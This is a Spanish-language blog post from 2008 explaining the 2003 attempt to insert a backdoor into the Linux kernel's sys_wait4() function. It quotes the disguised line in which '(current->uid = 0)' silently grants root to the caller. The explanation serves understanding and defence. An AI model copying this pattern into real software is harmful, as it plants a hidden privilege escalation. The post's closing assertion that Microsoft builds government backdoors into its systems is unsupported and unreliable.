viernes, 18 de enero de 2008

Linux kernel backdoor 2003

Hoy en el trabajo haciendo una búsqueda en google para una tarea que tenía por ahí pendiente me he encontrado una página en la que hablaban del intento de introducir una puerta trasera en el kernel. La página en cuestión es la siguiente: kernel backdoor. Lo que voy a describir abajo está muy bien explicado en cualquiera de los dos enlaces que vienen aquí, pero como están en inglés me tomo la libertad de hacer un pequeño resumen en español.

En ella se puede encontrar un enlace al código y aquí está el inicio del hilo. Es muy interesante echar un vistazo a la primera línea (son solo dos) y ver como una persona con malas intenciones y mucho conocimiento intenta que esta puerta trasera pase desapercibida, menos mal que parece que tienen todo controlado y se detectan estos intrusos, además el hecho de que el codigo sea abierto abre la puerta a que terceros puedan investigar el código y detectar problemas. La idea es que si alguien ve la famosa linea en cuenatión no se percate de lo que pasa en ella:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

Esta linea fue modificada en la función sys_wait4(), es decir una función de exit.c que una vez compilada en el kernel corre con permisos de root. Lo que en principio parece una comprobación de flags y de usuario (parece que se comprueba si se han activado las flags __WCLONE y __WALL, y si el usuario actual es root, en realidad lo que hace es, comprobar si se activaron esas dos flags (cosa por otro lado poco probable, ya que son dos flags que se supone son excluyentes) Y si están activas SE CAMBIA A ROOT AL USUARIO ACTUAL. Es decir la persona que introdujo este código habría podido ser root en cualquier máquina que se actualizase a este kernel. En C se utiliza el simbolo == para comprobar si un valor es igual a otro, y se utiliza el símbolo = para asignar un valor a una variable. Además, el tipo que introdujo este código puso "()" extra para asegurarse que el compilador de c no protestase.

En fin, uno no deja de maravillarse de la peña que hay por ahí, chapó para todos, el que lo intentó hacer y los que lo pillaron antes de que lo consiguiese.

De todo esto se saca algo en claro, es muy dificil que se consiga introducir una puerta trasera en el kernel de linux, y si alguien lo hiciese siempre alguien podría darse cuenta consultando el código, algo que no pasa con los sistemas propietarios como Microsoft, que no solo nadie puede ver por dentro sino que además llevan la puerta incorporada por sus creadores para permitir que los gobiernos puedan inspecionar las máquinas.

VIVA LINUX